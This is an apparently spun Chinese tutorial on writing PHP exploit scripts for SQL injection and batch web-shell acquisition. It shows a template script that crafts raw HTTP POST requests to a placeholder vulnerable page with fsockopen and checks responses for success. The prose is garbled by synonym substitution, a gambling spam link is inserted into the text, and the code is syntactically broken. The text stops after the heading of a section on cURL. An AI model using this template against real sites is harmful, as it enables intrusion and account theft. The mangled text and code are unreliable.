通用PHP版Exploit框架编写









0 01 前言

无常规破绽时期的到来,使得市道上泛亚娱乐|http://yuan01.bc88.info/fei/许多风行的注入测试工具都无奈胜任那些十分规的注入点,而脚本的机动性可以很便利对这些非惯例的注入点进行测试,最常见的运用莫过于通过脚本进行HTTP包的转发,配合注入测试工具进行注入的了。而今天想探讨的主要是PHP版的Exp的编写,直接通过脚原来到达注入或者批量GetShell的目标.



0 02 PHP的WinSock函数

PHP的强盛和易用性不必多说,他的扩大库已经把Winsock的相干函数已经封装好了。咱们常用的重要有fsockopen,fwrite,fgets,fgetss,fclose,feof等.而通常Exp良多时候都是通过注入来获取治理员的账户,所以可以大抵形象出一个流程如下:

1. 输出Usage等信息

2. 构造数据包

3. 轮回发包

4. 得到结果判定并输出

这里直接用代码谈话吧.



PHP code

php

//脚本超时跟报错能够根据本人的需要来更改

error_reporting(E_ERROR);

set_time_limit(0);



//输出版权信息,可有可无

print_r('



XXXXXXX SQL injection

xxxxxxx exploit

BY xxxxxx



');



//通常Exp都应用命令行下输入来接受参数

if ($argc 3) {

//$argc表现接收参数的长度,通常都是三个。$argv数组则是存储的参数的值,$argv.0.第一个元素指自身文件名。

print_r('



Usage: php '.$argv.0..' host path

host: target server (ip/hostname),without

path: path to phpcms

Example:

php '.$argv.0..' localhost /



');

die;

}



//参数获取赋值,也是依据须要自行修正的.

$host$argv.1.;

$path$argv.2.;

$html ;



//结构数据包

$cookie ;

$agent UserAgent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 ;

$content ;

//注入发包的方法,有时候是GET,有时候是POST哦.

$data POST /xxxxxx/bug.phpaid1 HTTP/1.1\r\n ;

$data . Host: .$host. \r\n ;

//$data . Cookie: .$cookie. \r\n ;

$data . UserAgent: .$agent. \r\n ;

$data . Accept: text/html,application/xhtml+xml,application/xml;q0.9,./.;q0.8\r\n ;

$data . AcceptLanguage: zhcn,zh;q0.5\r\n ;

//$data . AcceptEncoding: gzip,deflate\r\n ;

//某些网站可能开启了Gzip紧缩,详细可以在测试的时候通过抓包工具来获取,如Live Http.

$data . AcceptCharset: GB2312,utf8;q0.7,.;q0.7\r\n ;

$data . Connection: keepalive\r\n ;

$data . ContentType: application/xwwwformurlencoded\r\n ;

$data . ContentLength: .strlen($content). \r\n\r\n ;

$data . $content. \r\n ;



//发包

Sendpack($data);



//所有的返回结果会存在$html变量中,都是一些字符串,这时候施展设想用正则或者是字符串断定函数来得到成果

if (!eregi( created_time ,$html)){

echo $packet. \r\n ;

echo $html. \r\n ;

die( Exploit failed );

}else{

$pattern ;

preg_match($pattern,$html,$pg);

//$html

//查找之后对$html的一些判断 ..

echo \r\nExploit succeeded \r\n ;

}





//封装发包函数www.stuhack.

Function sendpack ($packet)

{

global $host, $html;

$ockfsockopen(gethostbyname($host),'80');

if (!$ock) {

echo 'No response from '.$host; die;

}

fputs($ock,$packet);

$html'';

while (!feof($ock)) {

$html.fgets($ock);

}

fclose($ock);

}



0 03 CURL库的利用
10-06 08:20